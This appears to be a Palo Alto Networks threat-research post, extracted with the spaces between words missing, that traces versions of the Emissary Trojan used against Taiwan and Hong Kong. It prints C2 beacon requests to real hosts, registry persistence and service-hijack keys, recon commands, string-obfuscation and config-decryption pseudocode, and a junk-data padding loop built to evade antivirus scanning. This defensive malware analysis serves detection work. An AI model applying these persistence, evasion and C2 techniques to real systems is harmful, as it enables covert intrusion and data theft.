ThetimelineinFigure2showsthattheEmissaryTrojanwasfirstcreated(version1.0)inMay2009 andquicklyreceivedanupdatethatresultedinversion1.1inJune2009.TheTrojandidnotreceive muchintheformofupdatesuntilSeptember2011whentheauthorreleasedversion2.0.Version2.0 receivedoneupdateinOctober2013beforethemalwareauthorreleasedversion3.0inDecember 2014.Themalwareauthorreleasedversion4.0inMarch2015,butcuriouslycreatedaversion3.0 sampleafterwardsonJune26,2015,whichwasoutofsequencefromtheincrementingversioning.
BetweenAugustandNovember2015themalwareauthorcreatesseveralnewversionsofEmissary, specifically5.0,5.1,5.3and5.4inamuchmorerapidsuccessioncomparedtodevelopmentprocess inearlierversions.
08/02/2016 EmissaryTrojanChangelog:DidOperationLotusBlossomCauseIttoEvolve?PaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/02/emissarytrojanchangelogdidoperationlotusblossomcauseittoevolve/ 4/26 08/02/2016 EmissaryTrojanChangelog:DidOperationLotusBlossomCauseIttoEvolve?PaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/02/emissarytrojanchangelogdidoperationlotusblossomcauseittoevolve/ 5/26 08/02/2016 EmissaryTrojanChangelog:DidOperationLotusBlossomCauseIttoEvolve?PaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/02/emissarytrojanchangelogdidoperationlotusblossomcauseittoevolve/ 6/26 Figure2:TimelineofdevelopmenteffortsspentonEmissary Theoutofsequenceversion3.0appearstobeanearlyvariantofversion5.0basedonsignificant similarities(discussedinthechangelogsection)thatarenotseenintheoriginalversion3.0andother earlierversionsofEmissary.
Onecampaigncodeassociatedwithoftheoutofsequenceversion3.0 samplewas3test,suggestingthemalwareauthorcreateditfortestingpurposes.
Theother campaigncodeassociatedwiththeoutofsequencesamplewasIC00001,whichcoulddenotean attackpayloadasitappearstobeaplausiblecodetodescribeacampaign.
Whilethismaybecoincidental,theoutofsequenceversion3.0samplewascreatedtendaysafter wepublishedtheOperationLotusBlossompaperthatexposedtheEliseTrojanthatiscloselyrelated toEmissary.
Itispossiblethatthethreatactorswerepromptedtomakemalwarechangesin responsetoourresearch.
Regardlessofcausation,therapiddevelopmentofnewversionsof Emissarysuggeststhatthemalwareauthorsaremakingfrequentmodificationstoevadedetection, whichasacorollarysuggeststhethreatactorsareactivelyusingtheEmissaryTrojanasapayloadin attacks.
EmissaryChangelog Inthissection,wediscussthechangesobservedbetweeneachversionofEmissary.
Asthissection isfocusedonchanges,thefeaturesandfunctionalityarethesamebetweenEmissaryversions unlessotherwisementioned.
Version1.0 Date:5/12/2009 SHA256:a7d07b92e48876e2195e5d8769a47cf0a237e11ac304e41b14fc36042b0d9484Original Name:WUMsvc.dll InitialRelease TheinitialloaderTrojanwritesEmissarytoSYSTEM\WSPsvc.dllandinstallsitasaservice,which willruntheexportedfunctionServiceMainwithintheEmissaryTrojantocarryoutitsfunctionality.
Configurationdataisstoredinthelast1024bytesofthepayload,fromwhichtheTrojanwillextract an896bytestructure.
TheconfigurationisdecryptedwithanalgorithmthatusestheXORoperation oneachbyteusingthevalueatadifferentoffsetwithintheciphertext.
http://researchcenter.paloaltonetworks.com/2015/06/operation-lotus-blossom/ 08/02/2016 EmissaryTrojanChangelog:DidOperationLotusBlossomCauseIttoEvolve?PaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/02/emissarytrojanchangelogdidoperationlotusblossomcauseittoevolve/ 7/26 Thecodewillcreatethefollowingregistrykeys: 1 2 HKEY_CLASSES_ROOT\Shell.
LocalServer\CheckCode HKEY_CLASSES_ROOT\Shell.
LocalServer\CheckID EmissaryusestheCheckCoderegistrykeytostoretheencryptedconfigurationfortheTrojan,while itstoresaGUIDthatEmissaryusestouniquelyidentifythecompromisedhostintheCheckIDkey.
ThemalwareperformsinitialsysteminformationgatheringandsavesdatatoafilenamedTMP2548.
Theinitialgatheringreliesonacombinationofthefollowingcommandsexecutedbythecommand prompt: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 commandsexecutedbythecommandprompt: ECHOVER VER ECHOIPCONFIG/ALL IPCONFIG/ALL ECHONETLOCALGROUPADMINISTRATORS NETLOCALGROUPADMINISTRATORS ECHONETSTART NETSTART ECHOGPRESULT/Z GPRESULT/Z ECHOGPRESULT/SCOPECOMPUTER/Z GPRESULT/SCOPECOMPUTER/Z ECHOSYSTEMINFO 08/02/2016 EmissaryTrojanChangelog:DidOperationLotusBlossomCauseIttoEvolve?PaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/02/emissarytrojanchangelogdidoperationlotusblossomcauseittoevolve/ 8/26 SYSTEMINFO Emissaryparsescommandandcontrolresponsesforinstru,whichwillprecedeaGUIDvaluethat designatesthecommandtheC2serverwishestoexecuteonthesystem.
Thecommandhandler doesnotuseanestedif/elseorswitchstatementlikemostmalwarefamilies,insteadEmissary createsastructurethatcontainsalloftheavailablecommandGUIDsthatitwilliteratethrougheach timetheC2suppliesaGUIDinordertodeterminewhichcommandtheoperatorwishestoexecute.
Emissarycanincludeupto32differentcommandswithinthisdatastructure,butitappearsthe authorhasdecidedtoincludesixcommandswithintheTrojan.
Thefollowingdenotesthecommand handlerstructureusedbyEmissaryv1.0: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 CommandDescriptiondb0e93e7b46c4cba81f1ec70da57dc19Updateconfig.
C2specifiesfilesas: p1C2server1,p2C2server2,p3C2server3,p4SleepInterval,p5SystemIdentifier (computername),p6GUIDforbeacon.2e382e513089429384545eccb253eb54Executesa specifiedcommand.
Table1:Emissarycommandhandler TheEmissaryversion1.0beacontotheC2serverappearsasfollows: 1 2 3 4 GET/VSNET/default.aspxHTTP/1.1 08/02/2016 EmissaryTrojanChangelog:DidOperationLotusBlossomCauseIttoEvolve?PaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/02/emissarytrojanchangelogdidoperationlotusblossomcauseittoevolve/ 9/26 UserAgent:Mozilla/4.0 Host:193.34.144[.
]21 Cookie:guidaf44f802ba5c4b3c8c6b2ea411058678op1635b097ffe4471189e67f8c7f4cdca6 Date:5/31/2009 SHA256:e6c4611b1399ada920730686395d6fc1700fc39add3d0d40b4f784ccb6ad0c30,Original Name:WUMsvc.dll Removedchecksfor//and/intheupdateconfigurationcommandwhenupdatingthethreeC2 servers.
Version1.1 Date:6/5/2009 SHA256:931a1284b11a3997c7a99076d582ed3436aa30409dc73bd763436dddd490f9cb OriginalName:WUMsvc.dll Bugfixes: AddedcodetomakesurethecontentreceivedfromtheC2servermatchestheContentLength valueintheHTTPresponse.
Codeaddedtoallowforthedownloadofmorethan524,288bytes.
TheEmissaryv1.1C2beaconappearsasfollows,whichhasnotchangedsinceversion1.0: 1 2 3 4 GET/eng/comfunc/comfunc/default.aspxHTTP/1.1 UserAgent:Mozilla/4.0 Host:137.189.145.1 Cookie:guidaf44f802ba5c4b3c8c6b2ea411058678op1635b097ffe4471189e67f8c7f4cdca6 Version2.0 Date:9/15/2011 SHA256:5edf2d0270f8e7eb5be3476802e46c578c4afc4b046411be0806b9acc3bfa099Original Name:EmissaryDll.dll Version2.0wasasignificantrewriteoftheEmissaryTrojan.
TheconfigurationdatafortheTrojanisstillsavedtotheregistry,buttheregistrykeyhaschangedto: 1 SOFTWARE\Microsoft\VBA\VbaData Theconfigurationstructurealsochangedinsizeto464bytes.
TheEmissaryconfigurationisnow 08/02/2016 EmissaryTrojanChangelog:DidOperationLotusBlossomCauseIttoEvolve?PaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/02/emissarytrojanchangelogdidoperationlotusblossomcauseittoevolve/ 10/26 encryptedusingacustomalgorithmthatusesthesrandfunctiontoseedtherandfunctionusinga valueof2563.Thisseedvaluecausestherandfunctiontogeneratethesamevalueseachtime, whichEmissarywilluseasakeyalongwiththeXORoperation.
Theconfigurationnowcontainsthe versionnumberofEmissary,insteadoftheversionbeinghardcodedintotheTrojan.
ThisversionofEmissarykeepstrackofwhichC2locationwithinitsconfigurationthatithasbeen communicatingwithbystoringtheindexoftheC2server(1,2,or3)inthefollowingregistrykey: 1 SOFTWARE\Microsoft\VBA\VbaList ThisversionofEmissarymovesawayfromthecommandhandlerusingthestructureandmovestoa nestedif/elsestatementforlesscomplicatedcommandhandlinghowever,thecommandGUIDand commandsthemselvesareunchanged.
TheEmissaryversion2.0beaconchangedslightlyfrompreviousversions,specificallytheremovalof theUserAgentfieldandtheuseofalowercasehintheHostfield.
Thefollowingisanexampleof theversion2.0beacon,whichcontainsthesameGUIDandopvalues: 1 2 3 GET/0test/test/default.aspxHTTP/1.1 host:163.20.127.27 Cookie:guidaf44f802ba5c4b3c8c6b2ea411058678op1635b097ffe4471189e6 7f8c7f4cdca6 Version2.0alsointroducesadebugmessageloggingsystemthatincludesverboseerrormessages thatareaccompaniedbyanerrorIDnumber.
Errormessagesarewrittentothefile TEMP\em.log.
Thefollowingisalistofallpossibledebugmessages: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 08/02/2016 EmissaryTrojanChangelog:DidOperationLotusBlossomCauseIttoEvolve?PaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/02/emissarytrojanchangelogdidoperationlotusblossomcauseittoevolve/ 11/26 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 08/02/2016 EmissaryTrojanChangelog:DidOperationLotusBlossomCauseIttoEvolve?PaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/02/emissarytrojanchangelogdidoperationlotusblossomcauseittoevolve/ 12/26 58 59 60 61 62 63 64 SourceErrorIDDebugMessage emissarydll.cpp0x30InitApp()Eventalreadyexists emissarydll.cpp0x35InitApp()Eventcreatesuccessful emissarydll.cpp0x3bInitApp()createworkthread shell.cpp0x30SendShellOutputThreadPeekNamedPipeError:0x08x shell.cpp0x3eSendShellOutputThread():Timeout shell.cpp0x53SendShellOutputThreadReadFileError:0x08x shell.cpp0x5bSendShellOutputThreadsendError:0x08x shell.cpp0x62SendShellOutputThread():threadexit shell.cpp0x7fRecvShellCmdThreadrecvError:0x08x shell.cpp0x89RecvShellCmdThreadWriteFileError:0x08x shell.cpp0x8fRecvShellCmdThread():threadexit shell.cpp0xebErroroccured:s[d] shell.cpp0xfaTerminateThreadInputThread shell.cpp0x100TerminateThreadOutputThread shell.cpp0x118SocketShellFailToCreateReverseSocket shell.cpp0x12fSocketShellFailToGenerateReverseShell shell.cpp0x13aSocketShellSocketShellFailToGenerateReverseShell shell.cpp0x13eSocketShellCreateReverseShellThreadOK config.cpp0x38RegCreateKeyExerror:0x08x config.cpp0x46RegSetValueExerror:0x08x config.cpp0x5eReadConfigRegCreateKeyExerror:0x08x config.cpp0x66ReadConfigRegQueryValueExerror:0x08x config.cpp0xabfinduser:s config.cpp0xbccannotfindproxy config.cpp0xc7getProxySettingfailed config.cpp0xd4findproxyserver:s run.cpp0x75InitConfig:[g_ServerPath:s][g_ServerName:s][g_port:d][g_ServerUrl:s] run.cpp0x9dInitConfig:[g_DelayTime:d] run.cpp0xbegetproxythelasttimeused:s run.cpp0xc3serverindex:d run.cpp0xd9RetryTimesd run.cpp0xecconnectserror:s run.cpp0x10cprocessarequestok.
httpclient.cpp0x98ASP.NET_SessionId:[d][s](translation:ASP.NET_SessionId 08/02/2016 EmissaryTrojanChangelog:DidOperationLotusBlossomCauseIttoEvolve?PaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/02/emissarytrojanchangelogdidoperationlotusblossomcauseittoevolve/ 13/26 LengthException:[d][s]) httpclient.cpp0xd0notconnected httpclient.cpp0xf4readhreaderror:s httpclient.cpp0x102bodylength0 httpclient.cpp0x13ddecrypterror httpclient.cpp0x211instruction:instruction httpclient.cpp0x21dnoinstructionguid httpclient.cpp0x22cOP_DOWNLOADnolocalfilename httpclient.cpp0x23bOP_UPLoadnolocalfilename httpclient.cpp0x249OP_UPLoadnolocalfilename httpclient.cpp0x242OP_UPLoadnolocalfilename httpclient.cpp0x25bOP_EXECUTEnocmdlist httpclient.cpp0x262OP_EXECUTEnotimeout httpclient.cpp0x2b4OP_SHELLip httpclient.cpp0x2bbOP_SHELLport httpclient.cpp0x2ddOP_CHANGECONFIGserver1 httpclient.cpp0x2e4OP_CHANGECONFIGserver2 httpclient.cpp0x2ebOP_CHANGECONFIGserver3 httpclient.cpp0x2f2OP_CHANGECONFIGtimestr httpclient.cpp0x2f9OP_CHANGECONFIGnamestr httpclient.cpp0x300OP_CHANGECONFIGguid httpclient.cpp0x321notconnected httpclient.cpp0x361sendmsgerror httpdoinstruction.cpp0x28DownloadFileLocalFileNames httpdoinstruction.cpp0x5cdownloadfilehttphead:s httpdoinstruction.cpp0x7adownloadfileok httpdoinstruction.cpp0xacUploadFileLocalFileNames httpdoinstruction.cpp0xb4DownloadFileErrorOpenFile[S][0x08x] httpdoinstruction.cpp0xc7UploadFile:TotalLengthd httpdoinstruction.cpp0x124downloadfilehttphead:s Date:10/24/2013 SHA256:9dab2d1b16eb0fb4ec2095d4b4e2a3ad67a707ab4f54f9c26539619691f103f3 OriginalName:NetPigeon_DLL.dll ThisupdatetoEmissaryallowedtheTrojantorunasaservice.
Theconfigurationnowcontains settingsfortheEmissaryservice,whichtheTrojanwillstoreinandaccessfromthefollowingregistry keys: SOFTWARE\Microsoft\VBA\ServServiceName SOFTWARE\Microsoft\VBA\VbaListBinaryPathfortheService Also,thisversionofEmissarywascreatedusingMicrosoftFoundationClasses(MFC)tocarryouta 08/02/2016 EmissaryTrojanChangelog:DidOperationLotusBlossomCauseIttoEvolve?PaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/02/emissarytrojanchangelogdidoperationlotusblossomcauseittoevolve/ 14/26 majorityofitsfunctionality.
Forinstance,insteadofmanuallybuildinganHTTPrequestasinprevious versions,thisversionusestheMFCfunctionstocreatetheHTTPrequestandsendittotheC2 server: CInternetSession::CInternetSession CInternetSession::GetHttpConnection CHttpConnection::OpenRequest CHttpFile::AddRequestHeaders CInternetSession::SetCookie CHttpFile::SendRequest UsingtheseclassescreatesasignificantlydifferentHTTPrequestsenttotheC2server,butthe functionalityofobtaininginstructionsfromtheC2isthesame.
Thefollowingisanexampleofa beacongeneratedbythissample,whichcontainsthesameopvalueandhasadditionalfieldswithin theHTTPheader: 1 2 3 4 5 GET/lightserver/Default.aspxHTTP/1.0 CacheControl:nocache UserAgent:Mozilla/4.0(compatibleMSIE7.0WindowsNT5.1) Host:groupspace.findhere.org Cookie:guid8E550BBDF5DB4471BBC7E8768BD5003Eop1635b097ffe4471189e6 7f8c7f4cdca6 TheloggingfunctionalitywithinthisupdatenolongerincludeserrorIDvalues,butstillcontains verbosedebugmessagesthatarewrittentoafilenamedTEMP\msmqinst.ax.
Version3.0 Date:12/24/2014 SHA256:dcbeca8c92d6d18f2faf385e677913dc8abac3fa3303c1f5cfe166180cffbed3 OriginalName:Generic.dll Bugfixes: AddedafunctiontotheconfigurationupdatecommandthatcheckstoseeiftheC2provideda newsleepintervalatoffset460andusestheintervalstoredintheVbaDataregistrykeyifits missing.
Thisfixesthebugthatwouldnotallowthesleepintervaltoupdatecorrectly.
Version4.0 Date:3/26/2015 08/02/2016 EmissaryTrojanChangelog:DidOperationLotusBlossomCauseIttoEvolve?PaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/02/emissarytrojanchangelogdidoperationlotusblossomcauseittoevolve/ 15/26 SHA256:5171c9a593389011da4d72125e52bf7ef86b2da7fcd6c2a2bc95467afe6a1b58 OriginalName:Generic.dll ThisversionofEmissaryincludesboththeinstallationandloadingfunctionalityalongwiththe Emissaryfunctionalcodeinthesamefile.
TheinstallationandloadingportionoftheTrojaniscalled usinganexportedfunctionnamedSetting,whichmovesthefileto: 1 TEMP\Remdisk.dll TheloadingportionofthisversionofEmissarychecksthepermissionsofthecurrentuserandeither installsEmissaryasaserviceorasastandaloneTrojan.
Toinstallasaservice,theloaderwill enumeratetheservicesonthesystemlookingforservicesrunningunderthenetsvcsgroup,andit willattempttohijackthefirstnetsvcsservicebyreplacingtheServiceDLLparametertopointto theEmissaryDLL.Forinstance,duringtheanalysisperiod,theinstallationcodechangedthe followingregistrykeyoftheAppMgmt: 1 HKLM\SYSTEM\CurrentControlSet\Services\AppMgmt\Parameters\ServiceDll: SystemRoot\System32\appmgmts.dll to 1 HKLM\SYSTEM\CurrentControlSet\Services\AppMgmt\Parameters\ServiceDll: C:\DOCUME1\ADMINI1\LOCALS1\Temp\Remdisk.dll Iftheuserdoesnothavepermissionstoaddaservice,theinstallationroutineattemptstoadd persistencebycreatingthefollowingregistrykeythatwillrunthefunctionalcodewithinEmissaryvia anexportedfunctionnamedDllRegister: 1 Software\Microsoft\Windows\CurrentVersion\Run\Resolves:Rundll32.exe C:\DOCUME1\ADMINI1\LOCALS1\Temp\Remdisk.dll,DllRegister ThisversionofemissaryhasitsconfigurationappendedtotheendoftheDLL,specificallystartingat offset0xc600.ThefollowingcodeaccessestheconfigurationembeddedwithintheDLLanddecrypts itusingasinglebyteXORalgorithmusing65asthekey: 1 2 3 4 5 6 SetFilePointer(v2,0xC600,0,0) ReadFile(h_emissary_dll_file,buffer_for_config,0x1D0u,NumberOfBytesRead,0) 08/02/2016 EmissaryTrojanChangelog:DidOperationLotusBlossomCauseIttoEvolve?PaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/02/emissarytrojanchangelogdidoperationlotusblossomcauseittoevolve/ 16/26 iteration_count0 do (iteration_countbuffer_for_config)65 while(iteration_count0x1D0) ThisalgorithmdiffersfromthealgorithmintroducedinEmissaryversion2.0thatusedthesrandand randfunctionstogenerateakeytouseinconjunctionwiththeXORoperation.
Withtheconfiguration embeddedwithintheEmissaryDLL,eachEmissaryversion4.0samplewillhaveadifferenthashas theconfigurationdatachanges.
ThenetworkbeaconsentfromEmissaryversion4.0isthesameasotherpreviousversionsstarting atversion2.0,asseeninthefollowing: 1 2 3 4 5 GET/lightserver/Default.aspxHTTP/1.0 CacheControl:nocache UserAgent:Mozilla/4.0(compatibleMSIE7.0WindowsNT5.1) Host:210.209.121.92 Cookie:guid7DA53AE4C15540b38EB360C4FCE99025op1635b097ffe4471189e6 7f8c7f4cdca6 Version3.0:Outofsequence Date:6/25/2015 SHA256:70bed57bc3484fe5dbcf3c732bd7b11f80a742138f4733bc7e9b6d03e721da4a OriginalName:IISDLL.dll MajorOverhaul ThecompilationtimeofonesampleofEmissaryversion3.0onJune25,2015appearsoutoforder, asitoccursafterthecompilationofEmissaryversion4.0.Thedifferencesbetweenthisoutoforder samplecomparedtotheotherknownversion3.0sample,aswellasversion4.0forthatmatter, includeadramaticchangeinconfigurationstorageandthehandlingofcommands.
Also,thefiles storedonthesystemhavedifferentnamesthanEmissaryversionsinthepast,whichare: 1 2 3 4 5 TEMP\000IISA758C8FEAE5F.TMPLogfile APPDATA\LocalData\75BD50EC.DATConfigurationfile 08/02/2016 EmissaryTrojanChangelog:DidOperationLotusBlossomCauseIttoEvolve?PaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/02/emissarytrojanchangelogdidoperationlotusblossomcauseittoevolve/ 17/26 APPDATA\LocalData\A08E81B411.DATEmissaryDLL ThisversionofEmissaryisdesignedtobeinjectedintoanInternetExplorerprocessbyitsassociated loaderTrojan,whichmarksthefirsttimeEmissaryexecutesthroughDLLinjection.
ThisversionofEmissaryalsohasadifferentconfigurationstructurethanpriorversions.
The configurationisnolongerstoredintheregistryratheritissavedtoafilenamed75BD50EC.DAT.
TheEmissaryDLLwillskiptooffset0x488withinthisfileandreadthenext132bytes,whichitwill decryptwithanewalgorithmasseeninthefollowing: 1 2 3 4 5 6 7 8 SetFilePointer(h_config_file_1,0x488,0,0) ReadFile(h_config_file,buffer_for_config,132u,NumberOfBytesRead,0) CloseHandle(h_config_file) srand(0xA03u) iteration_count0 do (buffer_for_configiteration_count)rand()128 while(iteration_count0x84) 1 2 3 4 5 6 7 8 9 10 11 12 structemissary_new_config WORDEmissary_version_major WORDEmissary_version_minor CHAR[36]GUID_for_sample WORDUnknown1 CHAR[128]Server1 08/02/2016 EmissaryTrojanChangelog:DidOperationLotusBlossomCauseIttoEvolve?PaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/02/emissarytrojanchangelogdidoperationlotusblossomcauseittoevolve/ 18/26 CHAR[128]Server2 CHAR[128]Server3 CHAR[128]CampaignName CHAR[550]Unknown2 WORDDelay_interval_seconds  ThisversionofEmissaryalsointroducedanewcommandhandlerthatusesnumberbased commandsinsteadoftheGUIDcommandsseeninpriorversionsofEmissary.
Thefunctionalityof thecommandsarethesame,however,thecommandsthemselvesareinvokedusinganumber.
Table2containsalistofavailablecommandsandabriefdescriptionofthefunctionalitycarriedout bythecommand.
Command Description 102 UploadafiletotheC2server.
103 Executesaspecifiedcommand.
104 DownloadfilefromtheC2server.
105 Updateconfigurationfile.
106 Createaremoteshell.
107 UpdatestheTrojanwithanewexecutable.
Table2:NewEmissarycommandhandler ThenetworkbeaconsentfromthisversionofEmissaryisverysimilartothebeaconfirstintroduced inEmissaryversion2.0however,theopvalueof101ishardcodedforthebeaconandreplaces theGUIDbasedopdesignatortomatchthenewcommandhandler.
Thefollowingisanexampleof thenetworkbeacongeneratedbythisversionofEmissary: 1 2 3 4 5 GET/default.aspxHTTP/1.1 UserAgent:Mozilla/4.0(compatibleMSIE7.0WindowsNT5.1) Host:101.55.33.92 CacheControl:nocache Cookie:guidcae5e213395a40239a12f78d3c4718e5op101 Version5.0 08/02/2016 EmissaryTrojanChangelog:DidOperationLotusBlossomCauseIttoEvolve?PaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/02/emissarytrojanchangelogdidoperationlotusblossomcauseittoevolve/ 19/26 Date:8/25/2015 SHA256:c145bb2e4ce77c79aa01de2aec4a8b5b0b680e23bceda2c230903b5f0e119634,Original Name:WinDLL.dll Emissaryversion5.0closelyresemblestheoutoforderversion3.0sample,whichsuggeststhatthe malwareauthorjustforgottochangetheversionnumberoftheoutofordersample.
Whilethe configurationandEmissaryDLLfilenamesusedbytheversion5.0Emissarysamplearethesameas theoutoforderversion3.0sample,thelogfilenamediffersbutonlyslightly,asseeninthefollowing listofrelatedfiles: 1 2 3 4 5 6 7 TEMP\000A758C8FEAE5F.TMPLogFile APPDATA\LocalData\75BD50EC.DATConfigurationfile APPDATA\LocalData\A08E81B411.DATEmissaryDLL APPDATA\LocalData\ishelp.dllLoaderDLL Version5.0usesnumberswithinitscommandhandlerandthesameconfigurationstructureasthe outoforderversion3.0.Theonlymajorchangein5.0istheabilitytoobtainacompromisedsystems externalIPaddressbyperforminganHTTPGETrequesttohttp://showip.net/index.php.
Thecode willparsetheresponsefromthiswebserverforthefollowingtoobtainthesystemsIPaddress: 1 inputidcheckiptypetextnamecheck_ipvalue[IPaddressparsed]/ TheSIDvaluesentfromtheC2serverisencryptedusinganalgorithmthatusestheXORoperation onthedatausing0x76asthekeyonthefirstbyteandtheresultingcleartextbyteasthekeyonthe nextbyteandsoon.
ThenetworkbeaconsentfromthisversionofEmissaryvisuallyresemblesthe outoforderversion,withtheadditionofafieldSHOthatcontainstheIPaddressofthe compromisedhost.
ThefollowingisanexampleoftheEmissaryversion5.0networkbeacon,whichis alsothesameinversions5.1,5.3and5.4aswell: 1 2 3 4 5 GET/default.aspxHTTP/1.1 UserAgent:Mozilla/4.0(compatibleMSIE7.0WindowsNT5.1) Host:101.55.33.95 08/02/2016 EmissaryTrojanChangelog:DidOperationLotusBlossomCauseIttoEvolve?PaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/02/emissarytrojanchangelogdidoperationlotusblossomcauseittoevolve/ 20/26 CacheControl:nocache Cookie:guid8cdef38c808a4e29af6e7386f02d28f1op101SHO172.16.107.130 Version5.1 Date:9/29/2015 SHA256:375190cc8e0e75cf771d66347ea2a04b6d1b59bf2f56823eb81270618f133e2d OriginalName:WinDLL.dll Forversion5.1themalwareauthortookouttheexceptionhandlingintheUploadFilecommandand obfuscatedtwostringswithintheTrojantoavoiddetection.
ThestringsexistintheTrojanin encryptedformandaredecryptedusinganalgorithmthatusesadditiontoeachbyteofciphertext, using65(A)asakey.
Theobfuscatedstrings,asseenbelow,involvethefilenameofthelogfileand thecommandpromptexecutableusedtocreatetheremoteshell: 1 2 \xEF\xEF\xEF\x00\xF6\xF4\xF7\x02\xF7\x05\x04\x00\x04\xF4\x05\xED\x13\x0C\x0F 000A758C8FEAE5F.TMP \x22\x2C\x23\xED\x24\x37\x24cmd.exe Date:10/14/2015 SHA256:e369417a7623d73346f6dff729e68f7e057f7f6dae7bb03d56a7510cb3bfe538 OriginalName:WinDLL.dll InanattempttoavoiddetectionbasedonPEheaderhashes,version5.1wasrecompiledwithout makinganychanges.
Version5.3 Date:11/7/2015 SHA256:29d8dc863427c8e37b75eb738069c2172e79607acc7b65de6f8086ba36abf051 OriginalName:WinDLL.dll Emissary5.3movedsomecodeusedtocreatetheremoteshelloutofasubfunctioninanattemptto evadesignaturesusedtodetecttheremoteshellcreation.
Forinstance,inEmissary5.1the commandhandlerwouldcallaninitialsubfunctionthatwouldthencallasecondsubfunctiontocarry outtheactivitiestocreateandinteractwiththeremoteshell.
In5.3,thecommandhandlercallsan initialsubfunctionthatcarriesouttheactivitiestocreateandinteractwiththeremoteshell.
Version5.4 Date:11/23/2015 SHA256:69b1d5454abe2475257defd9962a24a92411212c4f592de8765369a97f26c037(BaseDLL withjunkdataremoved) 08/02/2016 EmissaryTrojanChangelog:DidOperationLotusBlossomCauseIttoEvolve?PaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/02/emissarytrojanchangelogdidoperationlotusblossomcauseittoevolve/ 21/26 OriginalNameWinDLL.dll Version5.4ofEmissarywasthebasisfortheblogELISE:SecurityThroughObesitybyMichaelYip ofPWC.ThisblogprovidesagreatanalysisofthisversionofEmissaryandwehighlysuggest readingittobecomefamiliarwiththeTrojan.
ThereisonedifferenceinthefunctionalcodebetweenEmissaryversions5.3and5.4,whichinvolves theremovalofthecommand107usedtoupdatetheTrojan.
Thestring107stillexistswithinthe Trojan,however,thecommandhandlerdoesnotchecktheC2responseforthiscommandandthe codeusedtoupdatetheTrojanhasbeenremoved.
ThemajordifferencebetweenEmissaryversion5.4andallpreviousversionsishowtheTrojanis savedandloaded.
First,thefilenamesofthevariouscomponentsofEmissarychangedtothe followinghowever,thefilenamefordebuglogshasnotchanged: 1 2 3 4 5 6 7 APPDATA\Programs\Syncmgr.dllLoaderTrojan APPDATA\Programs\60HGBC00.DATConfigurationFile APPDATA\Programs\WEB2013BW6.DATEmissaryTrojan TEMP\000A758C8FEAE5F.TMPLogfile Inadditiontofilenamechanges,thebiggest(pardonthepun)changeinvolvestheLoaderTrojan (Syncmgr.dll)appendingjunkdatatotheendoftheEmissaryDLLfiletomakeincrediblylargefiles.
Thereasonforcreatingsuchlargefilesistotrickantivirusapplicationsintonotscanningthefile,asit couldexceedthemaximumsizeoffilestheantiviruscanscan(evenVirusTotalhasamaximumfile sizeof128MB).Forinstance,thefollowingpseudocodecontainstwoloopsthatwillendup appending524,288,000bytestotheendoffile,resultinginaDLLthatexceeds500MBinsize: 1 2 3 4 5 6 7 8 9 10 11 http://pwc.blogs.com/cyber_security_updates/2015/12/elise-security-through-obesity.html 08/02/2016 EmissaryTrojanChangelog:DidOperationLotusBlossomCauseIttoEvolve?PaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/02/emissarytrojanchangelogdidoperationlotusblossomcauseittoevolve/ 22/26 12 13 14 15 16 17 18 WriteFile(hFile,buf_EmissaryDllFromResource,nNumberOfBytesToWrite,nNumberOfBytesToWrite, 0) buf_junkData0 ret_timetime(0) srand(ret_time) for(i0i51200i)  for(j0j640j)  random_byterand()255 offset_in_buff_junkDatabuf_junkData16j dword_junkData0x1010101random_byte offset_in_buff_junkDatadword_junkData (offset_in_buff_junkData1)dword_junkData (offset_in_buff_junkData2)dword_junkData (offset_in_buff_junkData3)dword_junkData  WriteFile(hFile,buf_junkData,0x2800u,nNumberOfBytesToWrite,0)  Withthenewfilenames,malwarepersistenceisachievedviathefollowingregistrykey: 1 HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Syncmgr:rundll32.exeC:\Documentsand Settings\[username]\ApplicationData\Programs\Syncmgr.dll,Setting Date:11/24/2015 SHA256:bfceccdd553c7e26006bb044ea6d87e597c7cce08218068e31dc940e9f55b636(BaseDLL withjunkdataremoved) OriginalName:WinDLL.dll InanotherattempttoavoiddetectionbasedonPEheaderhashes,theTrojanwasrecompiled withoutmakinganychanges.
Conclusion TheactorsusingEmissary,whowerepreviouslyreportedasbehindOperationLotusBlossom,have 08/02/2016 EmissaryTrojanChangelog:DidOperationLotusBlossomCauseIttoEvolve?PaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/02/emissarytrojanchangelogdidoperationlotusblossomcauseittoevolve/ 23/26 beenactiveforatleastsevenyearsinSoutheastAsia.
Theyarepersistent,evolveovertime,and haveenoughresourcestohavemultiplecustomRATsthatreceiveregularupdates.
Thetargetingis largelymilitaryorgovernment,withsomecasesofhighereducationandhightechcompanies.
They alsohavetheabilitytoselectanduseappropriatedecoysinmultipleAsianlanguagesthatappear legitimate.
TheuseofEmissaryappearstobefocusedonlyonTaiwanandHongKong,withregularmalware updatestoavoiddetectionandtoincreasetheoddsofsuccess.
Ofparticularnote,thereisan interestingcoincidencebetweenthetimingofthepublicationofourOperationLotusBlossomreport andaflurryofEmissaryupdates.
